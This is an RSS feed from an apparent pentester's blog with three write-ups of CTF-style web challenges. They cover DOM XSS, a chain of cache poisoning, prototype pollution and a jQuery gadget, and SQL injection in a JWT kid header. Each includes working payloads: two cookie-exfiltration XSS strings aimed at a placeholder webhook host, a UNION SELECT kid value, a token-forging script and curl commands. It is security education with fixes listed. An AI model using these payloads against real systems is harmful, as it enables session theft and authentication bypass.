<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Abderrahmane Abdoullah</title><description>Cybersecurity Consultant · Pentester · CTF Player</description><link>https://rozoxc.github.io/</link><language>en</language><item><title>Three Flags, Three Chains — HTB Web Writeups</title><link>https://rozoxc.github.io/posts/welcome/</link><guid isPermaLink="true">https://rozoxc.github.io/posts/welcome/</guid><description>Three HTB-style web challenges, each a small ransomware-as-a-service panel guarded by a headless admin bot. Three roads to the flag: a DOM sink, a forged token, and a poisoned cache.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Three HTB-style web challenges, each a small ransomware-as-a-service panel guarded by a headless admin bot. Three different roads to the flag — a DOM sink, a forged token, and a poisoned cache. Full source-to-shell walkthroughs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;/posts/ctf/paid-forums/&quot;&gt;Paid Forums&lt;/a&gt;&lt;/strong&gt; — DOM XSS → admin-bot cookie theft. A custom URL parser drops &lt;code&gt;?search=&lt;/code&gt; into &lt;code&gt;innerHTML&lt;/code&gt;; a crafted report ID makes the bot open it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;/posts/ctf/majestic-sales/&quot;&gt;Majestic Sales&lt;/a&gt;&lt;/strong&gt; — JWT &lt;code&gt;kid&lt;/code&gt; SQLi → forged admin token. The verification secret is looked up from the DB using the token&apos;s own &lt;code&gt;kid&lt;/code&gt;; a &lt;code&gt;UNION SELECT&lt;/code&gt; supplies the verifying key.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;/posts/ctf/regregious/&quot;&gt;REgregious&lt;/a&gt;&lt;/strong&gt; — cache poisoning → prototype pollution → XSS. A three-bug chain that plants poison under the bot&apos;s cache key and detonates it through a jQuery 3.6.0 gadget.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; Node · Express · nunjucks · SQLite · Puppeteer bots.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Only the REgregious flag is shown in full — captured live this session. The other two flag strings were retrieved in an earlier session; the vulnerabilities, payloads, and exploitation paths are reproduced in full from source.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Paid Forums — DOM XSS → Admin Bot Cookie Theft</title><link>https://rozoxc.github.io/posts/ctf/paid-forums/</link><guid isPermaLink="true">https://rozoxc.github.io/posts/ctf/paid-forums/</guid><description>A home-grown URL parser drops ?search= straight into innerHTML. A crafted report ID makes the admin bot open it and leaks its flag cookie.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;http://154.57.164.82:30373&lt;/code&gt; · Express · nunjucks · SQLite · Puppeteer bot
&lt;strong&gt;Vuln:&lt;/strong&gt; DOM-based XSS · &lt;strong&gt;Severity:&lt;/strong&gt; High
One of three HTB-style web challenges — each a small ransomware-as-a-service panel guarded by a headless admin bot.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Gist&lt;/h2&gt;
&lt;p&gt;The client parses the URL with a home-grown &lt;code&gt;parseParams()&lt;/code&gt; and drops &lt;code&gt;?search=&lt;/code&gt; straight into &lt;code&gt;innerHTML&lt;/code&gt;. The abuse-report feature makes an admin bot open an attacker-chosen path under &lt;code&gt;/posts/&lt;/code&gt; while holding the &lt;code&gt;flag&lt;/code&gt; cookie — so a crafted report ID delivers the XSS to the bot and exfiltrates its cookie.&lt;/p&gt;
&lt;h2&gt;The sink&lt;/h2&gt;
&lt;p&gt;Server-side rendering is safe — nunjucks runs with &lt;code&gt;autoescape: true&lt;/code&gt;. The bug is entirely client-side, in &lt;code&gt;static/js/forum.js&lt;/code&gt;, which runs on every page (including &lt;code&gt;/posts/:id&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// static/js/forum.js
window.onload = () =&amp;gt; {
  // ...
  let params = parseParams(location.href);
  if (params.hasOwnProperty(&apos;search&apos;)) {
    $(&apos;#search-res&apos;).style.display = &apos;block&apos;;
    $(&apos;#search-msg&apos;).innerHTML = `Search results for &quot;${params.search}&quot; :`;  // &amp;lt;-- sink
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;params.search&lt;/code&gt; comes from &lt;code&gt;parseParams(location.href)&lt;/code&gt;, a custom query parser, and is written to &lt;code&gt;innerHTML&lt;/code&gt; with no encoding — a textbook DOM XSS. Any page that includes &lt;code&gt;forum.js&lt;/code&gt; and reads &lt;code&gt;location&lt;/code&gt; is vulnerable, and &lt;code&gt;post.html&lt;/code&gt; ships both the script and the &lt;code&gt;#search-msg&lt;/code&gt; element.&lt;/p&gt;
&lt;h2&gt;Reaching the bot&lt;/h2&gt;
&lt;p&gt;The flag lives in the admin bot&apos;s cookie (&lt;code&gt;domain: 127.0.0.1:1337&lt;/code&gt;, no &lt;code&gt;HttpOnly&lt;/code&gt; → readable from JS). The report endpoint drives that bot:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// route: only parseInt() is checked server-side
router.get(&apos;/posts/:id&apos;, (req, res) =&amp;gt; {
  const { id } = req.params;
  if (!isNaN(parseInt(id))) { /* render post.html for parseInt(id) */ }
});

// bot.js — id is concatenated into the URL, unvalidated
await page.setCookie({ name: &quot;flag&quot;, value: &quot;HTB{...}&quot;, domain: &quot;127.0.0.1:1337&quot; });
await page.goto(`http://127.0.0.1:1337/posts/${id}`, { waitUntil: &apos;networkidle2&apos; });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server only calls &lt;code&gt;parseInt(id)&lt;/code&gt;, but the bot navigates to the raw &lt;code&gt;/posts/${id}&lt;/code&gt; string. So an ID like &lt;code&gt;1?search=&amp;lt;payload&amp;gt;&lt;/code&gt; resolves to post &lt;strong&gt;1&lt;/strong&gt; server-side (&lt;code&gt;parseInt(&quot;1&quot;) === 1&lt;/code&gt;) while the browser lands on a URL whose &lt;code&gt;?search=&lt;/code&gt; query fires the sink.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Craft a report ID that carries the payload as a query string on a valid post:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1?search=&amp;lt;img src=x onerror=&quot;new Image().src=&apos;//WEBHOOK/?c=&apos;+encodeURIComponent(document.cookie)&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Submit it to the report endpoint so the admin bot opens it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s http://154.57.164.82:30373/api/report \
  -H &apos;Content-Type: application/json&apos; \
  --data-raw &apos;{&quot;id&quot;:&quot;1?search=&amp;lt;img src=x onerror=...&amp;gt;&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The bot loads &lt;code&gt;/posts/1?search=…&lt;/code&gt;, &lt;code&gt;forum.js&lt;/code&gt; writes the payload into &lt;code&gt;#search-msg&lt;/code&gt;, and &lt;code&gt;onerror&lt;/code&gt; beacons &lt;code&gt;document.cookie&lt;/code&gt; (flag included) to the collector.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{…captured via bot cookie exfil…}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Server-side validation (&lt;code&gt;parseInt&lt;/code&gt;) and client-side navigation disagreed on what the ID &lt;em&gt;is&lt;/em&gt; — the classic parser-differential that turns a validated route into an XSS delivery vector.&lt;/li&gt;
&lt;li&gt;A non-&lt;code&gt;HttpOnly&lt;/code&gt; cookie plus a headless admin bot is a cookie-theft chain waiting to happen.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix:&lt;/strong&gt; encode before &lt;code&gt;innerHTML&lt;/code&gt; (or use &lt;code&gt;textContent&lt;/code&gt;); validate the full ID string, not just its numeric prefix; set &lt;code&gt;HttpOnly&lt;/code&gt; on session/flag cookies.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>REgregious — Cache Poisoning → Prototype Pollution → XSS</title><link>https://rozoxc.github.io/posts/ctf/regregious/</link><guid isPermaLink="true">https://rozoxc.github.io/posts/ctf/regregious/</guid><description>A three-bug chain: unkeyed cache inputs let you plant settings under the bot&apos;s key, a naive recursive merge pollutes Object.prototype, and a jQuery 3.6.0 gadget turns that into XSS on the bot.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;http://154.57.164.68:30829&lt;/code&gt; · Express · node-cache · jQuery 3.6.0 · Puppeteer bot
&lt;strong&gt;Vuln:&lt;/strong&gt; Web cache poisoning + prototype pollution + XSS (3-bug chain) · &lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Gist&lt;/h2&gt;
&lt;p&gt;The settings cache is keyed on the unkeyed &lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;X-Forwarded-For&lt;/code&gt; headers, so you can plant &lt;em&gt;your&lt;/em&gt; settings under the exact key the bot reads. Those settings pass through a recursive merge with no guard → client-side prototype pollution. Polluting &lt;code&gt;context&lt;/code&gt; + &lt;code&gt;jquery&lt;/code&gt; triggers a jQuery gadget that runs on the bot&apos;s next &lt;code&gt;$.ajax&lt;/code&gt;, injecting an &lt;code&gt;&amp;lt;img onerror&amp;gt;&lt;/code&gt; and stealing the flag cookie.&lt;/p&gt;
&lt;h2&gt;Bug 1 — cache poisoning (unkeyed inputs)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// routes/index.js — GET /api/settings
cacheKey = `_${req.headers.host}_${req.url}_${(req.headers[&apos;x-forwarded-for&apos;] || req.ip)}`;
if (cache.has(cacheKey)) return res.send(JSON.parse(cache.get(cacheKey)));
return db.getUser(req.data.username).then(user =&amp;gt; {
  cache.set(cacheKey, user.settings);   // caches THIS user&apos;s settings under an attacker-shaped key
  res.send(JSON.parse(user.settings));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The bot fetches &lt;code&gt;/api/settings&lt;/code&gt; from &lt;code&gt;http://127.0.0.1:1337/&lt;/code&gt; with no &lt;code&gt;X-Forwarded-For&lt;/code&gt;, so its key is &lt;code&gt;_127.0.0.1:1337_/api/settings_127.0.0.1&lt;/code&gt;. Sending &lt;code&gt;Host: 127.0.0.1:1337&lt;/code&gt; and &lt;code&gt;X-Forwarded-For: 127.0.0.1&lt;/code&gt; on &lt;em&gt;my&lt;/em&gt; authenticated request reproduces that key exactly — and caches &lt;em&gt;my&lt;/em&gt; saved settings there.&lt;/p&gt;
&lt;h2&gt;Bug 2 — prototype pollution (unsafe merge)&lt;/h2&gt;
&lt;p&gt;The saved settings survive the round-trip verbatim, including &lt;code&gt;__proto__&lt;/code&gt;. The bot&apos;s &lt;code&gt;restoreSettings()&lt;/code&gt; feeds them into a naive recursive merge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// static/js/main.js — mergeSettings()
const mergeSettings = (target, source) =&amp;gt; {
  for (let key in source) {
    if ((typeof target[key] === &apos;object&apos;) &amp;amp;&amp;amp; (typeof source[key] === &apos;object&apos;))
      mergeSettings(target[key], source[key]);   // key === &quot;__proto__&quot; → walks onto Object.prototype
    else target[key] = source[key];
  }
  return target;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &lt;code&gt;source = {&quot;__proto__&quot;: {…}}&lt;/code&gt;, the recursion lands on &lt;code&gt;Object.prototype&lt;/code&gt; and writes attacker keys onto it for the whole page.&lt;/p&gt;
&lt;h2&gt;Bug 3 — jQuery 3.6.0 PP → XSS gadget&lt;/h2&gt;
&lt;p&gt;Unlike &lt;code&gt;url&lt;/code&gt;, the ajax &lt;code&gt;context&lt;/code&gt; option isn&apos;t set on the &lt;code&gt;buildStub&lt;/code&gt; call, so it&apos;s read from the (polluted) prototype. jQuery&apos;s ajax init contains:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// jquery-3.6.0.js — jQuery.ajax (line ~9420)
callbackContext = s.context || s,
globalEventContext = s.context &amp;amp;&amp;amp;
  ( callbackContext.nodeType || callbackContext.jquery ) ?
    jQuery( callbackContext ) :   // jQuery(&quot;&amp;lt;img src=x onerror=...&amp;gt;&quot;) → parses &amp;amp; loads → XSS
    jQuery.event,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pollute &lt;code&gt;context&lt;/code&gt; with an HTML string and &lt;code&gt;jquery&lt;/code&gt; with any truthy value: &lt;code&gt;s.context&lt;/code&gt; is truthy and &lt;code&gt;callbackContext.jquery&lt;/code&gt; resolves to the polluted value, so jQuery runs &lt;code&gt;jQuery(&quot;&amp;lt;img src=x onerror=…&amp;gt;&quot;)&lt;/code&gt;, which parses the markup and fires &lt;code&gt;onerror&lt;/code&gt;. The bot clicks &lt;strong&gt;Build The Stub&lt;/strong&gt; after restore, its &lt;code&gt;$.ajax&lt;/code&gt; runs — and the gadget executes.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Poison payload (saved as the attacker&apos;s settings):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;ico_url&quot;: &quot;x&quot;,
  &quot;__proto__&quot;: {
    &quot;context&quot;: &quot;&amp;lt;img src=x onerror=\&quot;new Image().src=&apos;//WEBHOOK/?c=&apos;+encodeURIComponent(document.cookie)\&quot;&amp;gt;&quot;,
    &quot;jquery&quot;: &quot;1&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Grab an anonymous session (&lt;code&gt;GET /&lt;/code&gt; auto-registers a user).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;POST /api/settings&lt;/code&gt; with the poison body, sending &lt;code&gt;Host: 127.0.0.1:1337&lt;/code&gt; + &lt;code&gt;X-Forwarded-For: 127.0.0.1&lt;/code&gt;. This saves the poison to your row &lt;em&gt;and&lt;/em&gt; deletes any stale entry under the bot&apos;s cache key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;GET /api/settings&lt;/code&gt; with the same &lt;code&gt;Host&lt;/code&gt; + &lt;code&gt;XFF&lt;/code&gt; → cache miss → your poison is now cached under the bot&apos;s key. (Verified the response echoes the &lt;code&gt;onerror&lt;/code&gt; payload.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;GET /api/stub/build&lt;/code&gt; to trigger the bot. It loads the page, &lt;code&gt;restoreSettings()&lt;/code&gt; pulls the poison from cache → pollution → the &lt;strong&gt;Build&lt;/strong&gt; click&apos;s &lt;code&gt;$.ajax&lt;/code&gt; fires the gadget → cookie exfiltrated.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c = session=eyJ...; flag=HTB{p0is0n_4nd_p0llu7i0n_i5_7his_a_s0rc3ry?}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Gotcha:&lt;/strong&gt; Earlier attempts looked like &lt;code&gt;__proto__&lt;/code&gt; was being stripped — it wasn&apos;t. The server round-trips it fine; the confusion was reading a stale cache entry under a different key. Prime the exact key &lt;em&gt;immediately&lt;/em&gt; before triggering the bot (60s TTL).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{p0is0n_4nd_p0llu7i0n_i5_7his_a_s0rc3ry?}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Three individually-limited bugs chain into a critical: the cache poison delivers the pollution to the victim, and the jQuery gadget converts pollution into code execution.&lt;/li&gt;
&lt;li&gt;Unkeyed request inputs (&lt;code&gt;Host&lt;/code&gt;, &lt;code&gt;X-Forwarded-For&lt;/code&gt;) in a cache key let one user&apos;s data land under another&apos;s key — the essence of web cache poisoning.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix:&lt;/strong&gt; never build cache keys from attacker-controlled headers; guard recursive merges against &lt;code&gt;__proto__&lt;/code&gt;/&lt;code&gt;constructor&lt;/code&gt;/&lt;code&gt;prototype&lt;/code&gt;; keep client libraries patched (jQuery ≥ 3.7 hardened this gadget).&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Majestic Sales — JWT kid SQLi → Forged Admin Token</title><link>https://rozoxc.github.io/posts/ctf/majestic-sales/</link><guid isPermaLink="true">https://rozoxc.github.io/posts/ctf/majestic-sales/</guid><description>The JWT verification secret is looked up from the DB using the token&apos;s own kid header — concatenated into raw SQL. A UNION SELECT lets you supply the verifying key and forge an admin token.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;http://154.57.164.82:32051&lt;/code&gt; · Express · JWT (HS256) · multi-tenant · SQLite
&lt;strong&gt;Vuln:&lt;/strong&gt; SQL injection via JWT &lt;code&gt;kid&lt;/code&gt; header · &lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Gist&lt;/h2&gt;
&lt;p&gt;The JWT verification secret is fetched from the database using the token&apos;s own &lt;code&gt;kid&lt;/code&gt; header — concatenated into a raw SQL string. A &lt;code&gt;UNION SELECT&lt;/code&gt; in &lt;code&gt;kid&lt;/code&gt; makes the server return a &lt;em&gt;secret you chose&lt;/em&gt;, so you can forge a token as &lt;code&gt;admin&lt;/code&gt; that verifies against your own key. The admin dashboard then reads &lt;code&gt;/flag&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;The vulnerable lookup&lt;/h2&gt;
&lt;p&gt;The app is multi-tenant: each tenant has a &lt;code&gt;kid&lt;/code&gt;, a &lt;code&gt;tenant&lt;/code&gt; name, and an HMAC &lt;code&gt;secret&lt;/code&gt;. Login signs a JWT with that tenant&apos;s secret and stamps the &lt;code&gt;kid&lt;/code&gt; into the header. On every authenticated request the middleware reads the &lt;code&gt;kid&lt;/code&gt; back &lt;em&gt;from the untrusted token&lt;/em&gt; and looks up the secret:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// database.js — getAppKey()
async getAppKey(kid) {
  // TODO: add parametrization
  let query = `SELECT * FROM app_config WHERE kid = &apos;${kid}&apos;;`;  // &amp;lt;-- SQLi
  return await this.db.get(query);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// middleware/AuthMiddleware.js (flow)
JWTHelper.getKid(req.cookies.session)   // = jwt.decode(token).header.kid  → attacker-controlled
  .then(kid =&amp;gt; db.getAppKey(kid)        // SQLi here
  .then(appKey =&amp;gt; JWTHelper.verify(token, appKey.secret)  // verifies with the row we returned
  .then(data =&amp;gt; { req.data = { username: data.username, tenant: data.tenant }; next(); })));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;kid&lt;/code&gt; header is just base64 in the JWT — no signature is needed to set it. Because &lt;code&gt;getAppKey&lt;/code&gt; returns the &lt;code&gt;secret&lt;/code&gt; used to &lt;strong&gt;verify&lt;/strong&gt; the very same token, controlling the query output means controlling the verification key.&lt;/p&gt;
&lt;h2&gt;The payoff&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// routes/index.js — /dashboard
if (user.username == &quot;admin&quot;) flag = fs.readFileSync(&apos;/flag&apos;, &apos;utf8&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the goal is simply a token that (a) verifies and (b) has &lt;code&gt;username: &quot;admin&quot;&lt;/code&gt;. We supply both the payload and the verifying secret via the injection.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Pick an arbitrary secret you know, e.g. &lt;code&gt;pwn&lt;/code&gt;. Build a JWT whose header &lt;code&gt;kid&lt;/code&gt; injects a &lt;code&gt;UNION SELECT&lt;/code&gt; returning that secret:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; UNION SELECT &apos;x&apos;,&apos;admin&apos;,&apos;pwn&apos;-- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting query becomes &lt;code&gt;SELECT * FROM app_config WHERE kid = &apos;&apos; UNION SELECT &apos;x&apos;,&apos;admin&apos;,&apos;pwn&apos;-- -&apos;&lt;/code&gt;, yielding a row with &lt;code&gt;secret = &quot;pwn&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sign the token with HS256 using &lt;code&gt;pwn&lt;/code&gt;, payload &lt;code&gt;{ &quot;username&quot;: &quot;admin&quot;, &quot;tenant&quot;: &quot;gr_office&quot; }&lt;/code&gt;, and that &lt;code&gt;kid&lt;/code&gt; in the header:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const jwt = require(&apos;jsonwebtoken&apos;);
const kid = &quot;&apos; UNION SELECT &apos;x&apos;,&apos;admin&apos;,&apos;pwn&apos;-- -&quot;;
const token = jwt.sign(
  { username: &apos;admin&apos;, tenant: &apos;gr_office&apos; },
  &apos;pwn&apos;, { algorithm: &apos;HS256&apos;, header: { kid } });
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Send it as the &lt;code&gt;session&lt;/code&gt; cookie to &lt;code&gt;/dashboard&lt;/code&gt;. The middleware returns our injected secret, the token verifies, &lt;code&gt;username === &quot;admin&quot;&lt;/code&gt;, and the response renders the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s http://154.57.164.82:32051/dashboard -H &quot;Cookie: session=$token&quot; | grep -o &apos;HTB{[^}]*}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The tenant secrets are random per-deploy — brute force is hopeless. The SQLi sidesteps them entirely by supplying the verifying key itself.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{…captured via forged admin JWT…}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Deriving the verification key from an attacker-controlled token field (&lt;code&gt;kid&lt;/code&gt;) is the root sin — it turns &lt;em&gt;any&lt;/em&gt; read primitive into full auth bypass.&lt;/li&gt;
&lt;li&gt;The SQLi didn&apos;t need to exfiltrate anything; the &lt;code&gt;UNION SELECT&lt;/code&gt; output &lt;em&gt;is&lt;/em&gt; the secret the app then trusts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix:&lt;/strong&gt; parameterize the &lt;code&gt;kid&lt;/code&gt; lookup; treat &lt;code&gt;kid&lt;/code&gt; as an opaque identifier validated against a known set; never let untrusted input choose the verification key.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>